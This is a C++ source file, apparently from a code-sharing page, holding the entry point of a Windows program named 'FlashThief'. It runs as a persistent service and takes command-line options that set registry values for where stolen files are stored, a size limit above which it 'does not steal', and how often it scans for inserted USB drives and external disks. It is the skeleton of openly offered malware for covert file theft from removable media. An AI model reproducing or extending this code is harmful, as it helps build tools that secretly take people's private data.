📄 main.cpp
字号:
// FlashThief.cpp : 定义控制台应用程序的入口点。
//
#include "stdafx.h"
#include "FlashThief.h"
#include "Service.h"
#include <locale.h>
void _tmain(int argc, _TCHAR* argv[])
{
_tsetlocale(LC_ALL, _T("chs"));
if (argc < 2)
{
_Thief.Init();
_Module.Init(SERVICE_NAME, SERVICE_DISPLAY_NAME);
_Module.Start();
return;
}
TCHAR seps[] = _T("-/");
LPTSTR pToken = NULL;
LPTSTR pNextToken = NULL;
HKEY hKey = NULL;
DWORD dwData = 0;
DWORD dwDisp = 0;
for (int i = 1; i < argc; i++)
{
pToken = _tcstok_s(argv[i], seps, &pNextToken);
if (pToken != NULL)
{
if (_tcsicmp(pToken, _T("install")) == 0)//安装服务
{
_Module.Init(SERVICE_NAME, SERVICE_DISPLAY_NAME);
_Module.Install();
}
else if (_tcsicmp(pToken, _T("uninstall")) == 0)//卸载服务
{
_Module.Init(SERVICE_NAME, SERVICE_DISPLAY_NAME);
_Module.Uninstall();
}
else if (_tcsicmp(pToken, _T("path")) == 0)//设置获取的文件的保存路径
{
if (argc - 1 > i)
{
i++;
if (RegCreateKeyEx(HKEY_LOCAL_MACHINE, CFG_REG_SUBKEY, 0, NULL,
REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey, &dwDisp) == ERROR_SUCCESS)
{
TCHAR szPath[MAX_PATH];
dwData = GetFullPathName(argv[i], MAX_PATH, szPath, NULL);
if (RegSetValueEx(hKey, CFG_REG_STORE, 0, REG_SZ, (LPBYTE)szPath,
dwData * sizeof(TCHAR)) != ERROR_SUCCESS)
_tprintf(_T("文件储存的路径设置失败!"));
RegCloseKey(hKey);
}
}
}
else if (_tcsicmp(pToken, _T("size")) == 0)//设置获取的总文件大小极限,当总文件大小超过此值时不盗取;设置小于等于0的值则禁用此功能;单位KB
{
if (argc - 1 > i)
{
i++;
dwData = _wtol(argv[i]);
if (RegCreateKeyEx(HKEY_LOCAL_MACHINE, CFG_REG_SUBKEY, 0, NULL,
REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey, &dwDisp) == ERROR_SUCCESS)
{
if (RegSetValueEx(hKey, CFG_REG_SIZES, 0, REG_DWORD,
(LPBYTE)&dwData, sizeof(DWORD)) != ERROR_SUCCESS)
_tprintf(_T("限制总文件大小设置失败!"));
RegCloseKey(hKey);
}
}
}
else if (_tcsicmp(pToken, _T("interval")) == 0)//设置检测可移动磁盘(U盘、移动硬盘等)的时间间隔,不可以小于3000;单位毫秒
{
if (argc - 1 > i)
{
i++;
if ((dwData = _wtol(argv[i])) < CFG_MIN_INTERVAL)
dwData = CFG_MIN_INTERVAL;
if (RegCreateKeyEx(HKEY_LOCAL_MACHINE, CFG_REG_SUBKEY, 0, NULL,
REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey, &dwDisp) == ERROR_SUCCESS)
{
if (RegSetValueEx(hKey, CFG_REG_INTERVAL, 0, REG_DWORD,
(LPBYTE)&dwData, sizeof(DWORD)) != ERROR_SUCCESS)
_tprintf(_T("循环检测可移动磁盘的时间间隔设置失败!"));
RegCloseKey(hKey);
}
}
}
//pToken = _tcstok_s(NULL, seps, &pNextToken);
}
}
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -